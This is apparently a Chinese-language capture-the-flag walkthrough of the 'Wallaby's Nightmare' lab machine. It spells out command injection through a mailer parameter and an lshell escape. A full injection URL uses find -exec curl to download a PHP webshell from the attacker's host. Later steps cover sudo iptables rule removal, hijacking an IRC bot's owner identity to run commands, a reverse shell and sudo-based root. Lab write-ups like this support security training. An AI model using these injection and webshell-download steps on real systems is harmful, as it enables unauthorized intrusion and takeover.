Wallaby's Nightmare Walkthrough
fuzz -> command injection打点,irssi聊天室机器人提权
Recon
这台机器开放标准端口的ssh、web
web
开局一个输入框,要求输入一个username
输入admin,下方有一些提示主要告知多尝试fuzz,以及注意tmux和environment
点击Start the CTF!后跳转到了如下页面
对参数一番fuzz,发现无法访问80端口了
重新扫描,发现新增了60080/tcp
访问后是一个静态页面,其中描述了这个端口是迁移过来的
使用nikto扫描,发现存在文件包含
测试小记
../../../../../../../etc/passwd返回/etc/passwd内容php://php://filter/convert.base64-encode/resource=/etc/passwd也返回/etc/passwd内容 而不是base64- fuzz测试包含任意其它路径都返回
Nice try admin buddy, this vector is patched!
说明这个位置不是真实的LFI,还有测试其他漏洞的余地
单双引号测试,单引号发现内容返回空白,源代码中发现了有意思的内容
1
2
3
4
5
6
7
8
9
10
11
<script>window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
pc.createDataChannel(""); //create a bogus data channel
pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create offer and set local description
pc.onicecandidate = function(ice){ //listen for candidate events
if(!ice || !ice.candidate || !ice.candidate.candidate) return;
var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
alert('Your ip is ' + myIP + ', consider it blacklisted for a bit :D.');
post('/?page=blacklist', {bl: myIP});
pc.onicecandidate = noop;
};</script>
这是一个webRTC实现,用于收集客户端IP地址,并发送到服务器
其中发现了/?page=blacklist,尝试访问,测试一番无果
进一步fuzz page参数,发现mailer
访问?page=mailer后查看源代码,其中包含了一个路径,访问返回Coming Soon guys!
尝试fuzz mail参数,发现能执行一些命令
bypass a limit www-data shell
试图绕过这个受限shell,使用find命令执行
小马拉大马,先用find逃逸lshell执行curl落地小马
http://192.168.2.122:60080/?page=mailer&mail=find%20.%20-exec%20curl%20http://192.168.2.100:8000/muma.php%20%3El.php\;
可以使用shell管理工具上传reverse.php,也可以直接curl落地反弹
shell as waldo by sudo-vim
例行检查,发现能以waldo权限执行vim /etc/apache2/sites-available/000-default.conf
那么提权即可
发现/home/waldo/irssi.sh,其中使用tmux创建了irssi会话
tmux attach查看,这是一个使用IRC协议的客户端irssi,本质上是一个古老的命令行聊天室,使用tcp/6667端口
但是前期nmap扫描显示tcp/6667端口状态是filtered
www-data执行sudo -l会看到能以root权限执行iptables,那么使用sudo iptables -D INPUT 2手动清除这条规则
再次扫描验证6667端口已开放
shell as root by irssi
kali中apt install irssi安装客户端,使用irssi -c 192.168.2.122连接聊天室
使用/list列出聊天室,得到#wallabyschat,使用/join #wallabyschat加入聊天室
在这个聊天室看到存在waldo和wallabysbot
/leave离开聊天室,执行/whois wallabysbot,能发现他是一个Bot,它基于Sopel
来到/hoe/wallaby/.sopel/modules/目录,查看run.py,它作为一个模块被使用,其中定义了run函数用于执行命令
尝试在聊天室中执行,发现回显Hold on, you aren't Waldo?
没有权限执行,因为连接到聊天室的身份不是Waldo
现在需要想办法获得waldo的聊天室身份,在上文中已经知道waldo用户使用tmux创建了连接到聊天室的会话
ps -ef|grep tmux得到tmux pid,然后kill掉进程,让waldo聊天室身份断线
此时使用/nick Waldo接管身份,尝试执行命令发现执行成功
反弹shell得到wallaby用户权限
存在于/etc/sudoers中,可以直接sudo su完成提权





























